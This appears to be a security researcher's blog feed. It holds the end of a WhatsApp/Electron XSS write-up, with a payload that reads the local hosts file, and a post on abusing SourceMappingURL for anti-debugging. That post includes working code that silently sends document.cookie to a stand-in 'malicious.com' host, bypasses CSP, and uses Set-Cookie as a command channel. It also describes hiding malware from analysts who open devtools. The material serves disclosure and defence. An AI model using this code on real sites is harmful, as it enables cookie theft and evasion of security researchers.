&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;navigator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;userAgent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){&lt;/span&gt;
	&lt;span class=&quot;c1&quot;&gt;// read &quot;file:///C:/Windows/System32/drivers/etc/hosts&quot; content&lt;/span&gt;
	&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;file:///C:/Windows/System32/drivers/etc/hosts);
	const t = await r.text();
	alert(t)
}())
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;And that was it. This was my full journey, all the way from a simple Open-Redirect, through a Persistent-XSS and a CSP-bypassing to a full Cross Platform Read from the File System plus potentially a Remote-Code-Execution 🎉.&lt;/p&gt;
&lt;h3 id=&quot;key-takeaways-from-this-research&quot;&gt;Key Takeaways From This Research&lt;/h3&gt;
&lt;p&gt;There are some very serious security flaws here that all companies should learn from:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;If your app uses rich preview banners and those banners are crafted on the sending side, your filtering on the receiving side must be spot on. You just can’t let weird URLs load on the receiving side without making sure they’re legit. Heck, if your app generally crafts messages on the client side, your filtering on the receiving side must be spot on!&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;CSP rules are super important and could have prevented a big part of this mess.If the CSP rules were well configured, the power gained by this XSS would have been much smaller. Being able to bypass the CSP configuration allows an attacker to steal valuable information from the victim, load external payloads easily, and much more!&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If you’re going to use Electron, you HAVE to make sure it is updated with each update of Chromium. And this is such a big one - Chromium updates are not just cool new features, in most Chromium updates, serious vulnerabilities are being patched! When Chromium is being updated, your Electron-based app must get updated as well, otherwise you leave your users vulnerable to serious exploits for no good reason!&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
&lt;p&gt;And that’s pretty much it. I have to admit I’ve put a lot of effort and time into this research, but I’m glad to say it all paid off. I think there are a few very interesting ideas here that should inspire you to explore new types of security flaws that probably exist out there. I encourage you to go ahead and do that responsibly!  And if you’re on the other side of the game, please use this article to harden your application. It is 2020, no product should be allowing a full read from the file system and potentially a RCE from a single message.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Facebook have patched and assigned this &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2019-18426&quot;&gt;CVE&lt;/a&gt;. Thanks Facebook for being so responsive and for the very generous bounty of 12,500$!
By the &lt;a href=&quot;https://www.first.org/cvss/calculator/3.1&quot;&gt;official CVSS calculator&lt;/a&gt; this vulnerability was scored with &lt;a href=&quot;https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:P/RL:T/RC:C&quot;&gt;8.8 (High)&lt;/a&gt; however this was never officially acknowledged by Facebook.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;This research was conducted and published by &lt;a href=&quot;http://github.com/weizman/&quot;&gt;Gal Weizman&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>List EVERY event that exists in the browser</title>
   <link href="https://weizman.github.io//2020/02/02/list-events/"/>
   <updated>2020-02-02T00:00:00+00:00</updated>
   <id>https://weizman.github.io//2020/02/02/list-events</id>
   <content type="html">&lt;p&gt;Check out my &lt;a href=&quot;https://medium.com/@weizmangal/list-every-event-that-exists-in-the-browser-b771579d9b04&quot;&gt;next post&lt;/a&gt;
on how to list every event possible in the browser and a &lt;a href=&quot;https://weizman.github.io/map-events-website/&quot;&gt;graphical represantation&lt;/a&gt;
I made to compare events support between different browsers&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>unload And beforeunload Events And How To Easily Debug Them Both!</title>
   <link href="https://weizman.github.io//2020/02/02/events/"/>
   <updated>2020-02-02T00:00:00+00:00</updated>
   <id>https://weizman.github.io//2020/02/02/events</id>
   <content type="html">&lt;p&gt;Check out my &lt;a href=&quot;https://medium.com/@weizmangal/unload-and-beforeunload-events-and-how-to-easily-debug-them-both-cb40782b0018&quot;&gt;first post&lt;/a&gt; where I share some cool insights regarding end of life events in the browser and a cool javascript trick to easily debug them both&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Javascript Anti Debugging - Abusing SourceMappingURL</title>
   <link href="https://weizman.github.io//2019/12/18/js-anti-debug-1/"/>
   <updated>2019-12-18T00:00:00+00:00</updated>
   <id>https://weizman.github.io//2019/12/18/js-anti-debug-1</id>
   <content type="html">&lt;p&gt;&lt;em&gt;Later on was published on &lt;a href=&quot;https://medium.com/@weizmangal/javascript-anti-debugging-some-next-level-sh-t-part-1-abusing-sourcemappingurl-da91ff948e66&quot;&gt;Medium&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;tl;dr - Abusing &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Tools/Debugger/How_to/Use_a_source_map&quot;&gt;SourceMappingURL&lt;/a&gt; feature can allow attackers to create one of the strongest Cross Browsers Javascript Anti Debugging techniques that was ever seen (&lt;a href=&quot;https://us-central1-smap-251411.cloudfunctions.net/index&quot;&gt;fully detailed live demo&lt;/a&gt;)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This article’s purpose is to introduce a new Javascript Anti Debugging technique in an advanced level and therefore assumes the reader already has an understanding of the different aspects of web security and what Javascript Anti Debugging really is.&lt;/p&gt;
&lt;p&gt;Not too long ago, I’ve learned about &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Tools/Debugger/How_to/Use_a_source_map&quot;&gt;SourceMappingURL&lt;/a&gt; feature, which basically allows you to fetch a Source Map for your Javascript resources. It will map minified/uglified Javascript code to its original source code, thus will allow developers to easily debug their source code in the browser, instead of struggling with debugging the minified/uglified one - pretty cool feature! (and pretty old as well)&lt;/p&gt;
&lt;p&gt;All you need to do is to locate the following comment at the bottom of your minified/uglified Javascript resource:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;//# SourceMappingURL=https://www.my-website.com/map.json&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;and the browser will fetch the map from your servers (which you’ll also need to implement yourself in order for the feature to actually work), and will make sure to do the mapping and the representation of it for you (if this doesn’t make a lot of sense to you - go read more about &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Tools/Debugger/How_to/Use_a_source_map&quot;&gt;SourceMappingURL&lt;/a&gt;!).&lt;/p&gt;
&lt;h4 id=&quot;two-very-important-notes-before-we-start&quot;&gt;Two very important notes before we start:&lt;/h4&gt;
&lt;p&gt;SourceMappingURL feature is only activated when the devtools of the browser are open, since this is a development only feature and should not be a burden for the website while loading if the website is not being inspected!&lt;/p&gt;
&lt;p&gt;Everything I am going to talk about here, is relevant to every major browser out there (was tested on Chrome, Safari, Firefox, Edge, Opera), However some might work in weaker forms. Please take into consideration that this feature did not exhibit 100% consistent behavior across browsers and versions, as achieving that was not a goal as part of this project - proof of concept was.&lt;/p&gt;
&lt;p&gt;I was curious about its implementation and was wondering regarding its potential security issues, so I decided to have a look at it myself.&lt;/p&gt;
&lt;p&gt;It had immediately drawn my attention when I realized its first interesting property:&lt;/p&gt;
&lt;h3 id=&quot;a-hrefhttpsus-central1-smap-251411cloudfunctionsnetcasesourcemapthe-request-to-sourcemappingurl-is-completely-silent-and-hiddena&quot;&gt;&lt;a href=&quot;https://us-central1-smap-251411.cloudfunctions.net/caseSourceMap&quot;&gt;The request to SourceMappingURL is completely silent and hidden&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;If a script contains the &lt;code&gt;SourceMappingURL=&lt;/code&gt; comment and is attached to the DOM, the browser will fire a request to the link specified after the &lt;code&gt;=&lt;/code&gt; sign - but you won’t be able to tell that by looking at the devtools - you won’t see anything in the network panel nor the console panel - simply nowhere! The only way of telling that request had happened is by either using some sort of a network debugging proxy (such as &lt;a href=&quot;https://www.telerik.com/fiddler&quot;&gt;fiddler&lt;/a&gt; or &lt;a href=&quot;https://www.wireshark.org/&quot;&gt;wireshark&lt;/a&gt;) or looking for that request in &lt;code&gt;chrome://net-export&lt;/code&gt; in Chrome browser for example. The response to this request however cannot be captured by client side Javascript since it is being handled by the browser itself (because the browser is the one to get the source map and use it to map the bundled resources to the original resources).&lt;/p&gt;
&lt;p&gt;Now that caught my attention! Being able to fire a hidden request from the browser! now that’s powerful. This is where I wondered about other properties this request might have that might be abused by attackers.&lt;/p&gt;
&lt;p&gt;So firing a hidden request is awesome and everything, but it is just a static request. I mean, if I could dynamically construct the url to which the SourceMappingURL request should go, that would be even more powerful.&lt;/p&gt;
&lt;h3 id=&quot;a-hrefhttpsus-central1-smap-251411cloudfunctionsnetdynamicthe-sourcemappingurl-can-be-constructed-dynamically-on-the-flya&quot;&gt;&lt;a href=&quot;https://us-central1-smap-251411.cloudfunctions.net/dynamic&quot;&gt;The SourceMappingURL can be constructed dynamically (on-the-fly)&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The following works:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;  &lt;span class=&quot;nx&quot;&gt;smap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;script&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;createElement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;textContent&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;  &lt;span class=&quot;s2&quot;&gt;`//# SourceMappingURL=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;?data=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;stringify&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;head&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;appendChild&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;remove&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// that&apos;s right! the script doesn&apos;t even have to stay in DOM for this feature to work! how cool is that?!&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;smap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;https://malicious.com/reportStolenCookies&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;cookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;cookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;And since this works, I can leak any type of dynamic information I want from the browser at its current execution. I can steal cookies, report timestamp and generally collect any type of information I wish to report and simply add it to the SourceMappingURL in order to send it. This is some powerful stuff!&lt;/p&gt;
&lt;p&gt;So far so good. But as I always do when I learn of a new trick to send requests from the browser - I tried to see if I can use this one to bypass &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP&quot;&gt;CSP&lt;/a&gt; rules.&lt;/p&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/p&gt;
&lt;h3 id=&quot;a-hrefhttpsus-central1-smap-251411cloudfunctionsnetcspthe-request-made-by-sourcemappingurl-bypasses-csp-completelya&quot;&gt;&lt;a href=&quot;https://us-central1-smap-251411.cloudfunctions.net/csp&quot;&gt;The request made by SourceMappingURL bypasses CSP completely&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Wow! That one was a cool discovery in my research! So if I go on &lt;a href=&quot;https://example.com&quot;&gt;https://example.com&lt;/a&gt; for example and it responds with Content-Security-Policy: default-src &lt;a href=&quot;https://example.com&quot;&gt;https://example.com&lt;/a&gt; as one of its headers (which means requests under &lt;a href=&quot;https://example.com&quot;&gt;https://example.com&lt;/a&gt; are only allowed to be made to &lt;a href=&quot;https://example.com&quot;&gt;https://example.com&lt;/a&gt;), I would be able to bypass that rule completely by using the SourceMappingURL feature by doing:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;//# SourceMappingURL=http://malicious.com?THIS_REQUEST_WILL_MAKE_IT_TO_THE_SERVER&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This is pretty cool considering how difficult and almost impossible it is to bypass CSP rules these days.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Later on I’ve found out that this specific property of SourceMappingURL feature was already discovered before me (for example &lt;a href=&quot;https://twitter.com/xsspayloads/status/792683058931625984?lang=en&quot;&gt;here&lt;/a&gt;) - don’t worry though, this gets more interesting!&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;a-hrefhttpsus-central1-smap-251411cloudfunctionsnetcspthe-request-made-by-sourcemappingurl-can-be-made-using-codehttpcode-even-if-the-page-is-loaded-via-codehttpscodea&quot;&gt;&lt;a href=&quot;https://us-central1-smap-251411.cloudfunctions.net/csp&quot;&gt;The request made by SourceMappingURL can be made using &lt;code&gt;http:&lt;/code&gt; even if the page is loaded via &lt;code&gt;https:&lt;/code&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Another cool property of SourceMappingURL feature is the fact that it can send non-secure requests via &lt;code&gt;http:&lt;/code&gt; even if the main page was loaded via a secure connection over &lt;code&gt;https:&lt;/code&gt;, a narrative that cannot be accomplished otherwise in the browser, since SSL downgrade is forbidden and is considered to be a serious security flaw.&lt;/p&gt;
&lt;p&gt;So by this point I found some really cool hacks that by combining them all together, one can leak sensitive information while bypassing website’s CSP rules without it being documented whatsoever in the devtools, thus making it super hard to tell this strange activity took place in the victim’s browser.&lt;/p&gt;
&lt;p&gt;So far so good. And then I was wondering to myself, if SourceMappingURL fires a request, does it have any of the other standard properties that any common request has? We already know that the response cannot be processed by the client side Javascript - so how is it similar to other types of network APIs in the browser? And then I’ve found the property that changed the game completely:&lt;/p&gt;
&lt;h3 id=&quot;a-hrefhttpsus-central1-smap-251411cloudfunctionsnetheadersthe-browser-respects-headers-set-on-the-response-to-the-sourcemappingurl-request-including-codeset-cookiecodea&quot;&gt;&lt;a href=&quot;https://us-central1-smap-251411.cloudfunctions.net/headers&quot;&gt;The browser respects headers set on the response to the SourceMappingURL request (including &lt;code&gt;Set-Cookie&lt;/code&gt;)&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;And that is the most powerful property of this feature - even though we don’t get to process the response ourselves, the browser respects response headers for this request, including &lt;code&gt;Set-Cookie&lt;/code&gt;! This means an attacker can have a full request-and-response mechanism, simply by having their server inject the response in the cookie header instead of the actual response!&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;  &lt;span class=&quot;nx&quot;&gt;smap&lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// same as in the snippent above..&lt;/span&gt;
	&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;  &lt;span class=&quot;nx&quot;&gt;setInterval&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;  &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;  &lt;span class=&quot;nx&quot;&gt;getCookieValueByCookieName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;SMAP_RESPONSES&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;deleteCookieByCookieName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;SMAP_RESPONSES&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;clearInterval&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;server says that 1 + 2 is &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;  &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;  &lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;smap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;http://malicious.com/sum&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;  &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;  &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;wait-this-sounds-much-more-powerful-than-simply-just-a-javascript-anti-debugging-technique---why-stop-there&quot;&gt;Wait, This sounds much more powerful than simply just a Javascript Anti Debugging Technique - why stop there?&lt;/h3&gt;
&lt;p&gt;So, as I said before, the SourceMappingURL request is only fired when:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The browser’s devtools were open before the website started loading&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The browser’s devtools were opened after the website has started loading&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And that takes a lot of this finding’s power since it means that everything I have found so far is only relevant when the devtools are open.&lt;/p&gt;
&lt;h3 id=&quot;however&quot;&gt;HOWEVER…&lt;/h3&gt;
&lt;p&gt;Since SourceMappingURL feature&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;fires a request the second devtools are being opened&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;is completely silent about sending the request&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;bypasses CSP rules completely&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;respects headers and cookies&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It can actually be used as a very strong Javascript Anti Debugging technique!&lt;/p&gt;
&lt;h3 id=&quot;a-hrefhttpsus-central1-smap-251411cloudfunctionsnetscenariohowa-in-a-couple-of-words&quot;&gt;&lt;a href=&quot;https://us-central1-smap-251411.cloudfunctions.net/scenario&quot;&gt;How?&lt;/a&gt; (in a couple of words…)&lt;/h3&gt;
&lt;p&gt;By using SourceMappingURL feature’s power, an attacker can make sure their code will inform their servers the second the browser has its devtools opened.&lt;/p&gt;
&lt;p&gt;In the response, the attacker can mark that browser with a cookie that will identify that browser as a potential hazard for the hacker. With that mark, the attacker can choose to do whatever, probably to serve that browser with an innocent Javascript code instead of their malicious code until the marking cookie is expired.&lt;/p&gt;
&lt;p&gt;Or instead, the attacker can respond with a cookie that will contain data that the malicious Javascript code relies on in order to determine its next steps (a variation of a &lt;a href=&quot;https://www.trendmicro.com/vinfo/us/security/definition/command-and-control-server&quot;&gt;C&amp;amp;C Client-Server mechanism&lt;/a&gt; if you will).&lt;/p&gt;
&lt;p&gt;The server for example can respond with &lt;code&gt;Set-Cookie: SMAP_COMMAND=while(1){}&lt;/code&gt; and the client side can execute any command given to it by the server.&lt;/p&gt;
&lt;p&gt;Also, on top of that request, the attacker can also leak any type of information they wish to steal from the victim.&lt;/p&gt;
&lt;p&gt;And on top of everything, it will be extremely hard for any researcher to find this malicious activity since the request leaves no trace of its occurrence (and even harder if the attacker actually decides to avoid malicious code execution on that specific browser once it was marked as a “devtools opener”).&lt;/p&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/p&gt;
&lt;h3 id=&quot;i-dont-quite-understand-i-need-some-live-examples&quot;&gt;“I don’t quite understand… I need some live examples”&lt;/h3&gt;
&lt;p&gt;That’s fair! This concept is not super easy to grasp just by reading, it is definitely worth seeing it works on live. Lucky for you, I’ve created a &lt;a href=&quot;https://us-central1-smap-251411.cloudfunctions.net/scenario&quot;&gt;thorough technical demo&lt;/a&gt; that attempts to fully explain and demonstrate everything mentioned here (I hope this demo is still up and running as it is located on PerimeterX’s servers and I don’t have control over it).&lt;/p&gt;
&lt;p&gt;You are encouraged to check it out and let me know what you think of it!&lt;/p&gt;
&lt;h3 id=&quot;wait-you-said-this-was-part-1-is-there-a-part-2&quot;&gt;“Wait, you said this was Part 1, Is there a Part 2?”&lt;/h3&gt;
&lt;p&gt;Oh, right! In the next article I will cover another interesting ability I’ve found that only exists in browsers that use &lt;a href=&quot;https://github.com/ChromeDevTools&quot;&gt;Chromium’s devtools&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;It is another cool trick that can assist hackers in better understanding the researchers actions when trying to uncover them, and also protect only very specific parts of their malicious code, thus making it even harder for researchers to catch them.&lt;/p&gt;
&lt;p&gt;I will post the link here once it is done :)&lt;/p&gt;
&lt;h3 id=&quot;to-sum-up&quot;&gt;To sum up&lt;/h3&gt;
&lt;p&gt;As someone who has experienced the world of web security and hacking quite a lot in my military service, I can tell you that this trick right here will take the game to the next level if used correctly.&lt;/p&gt;
&lt;p&gt;Revealing malicious activity in the browser is much harder for researchers when there are actions made by the attacker that take place in the browser without the researcher being able to tell that they even happened!&lt;/p&gt;
&lt;p&gt;Correctly implementing this trick into an attacking exploit kit will significantly reduce the chances of being uncovered by researchers (maybe not so much though, now that this article is publicly published) by basically filtering those out of the way and only attacking the innocents.&lt;/p&gt;
&lt;p&gt;This trick can of course be very helpful not only to attackers but to other entities as well (such as big companies who want to alter their code when it is being investigated by researchers for example).&lt;/p&gt;
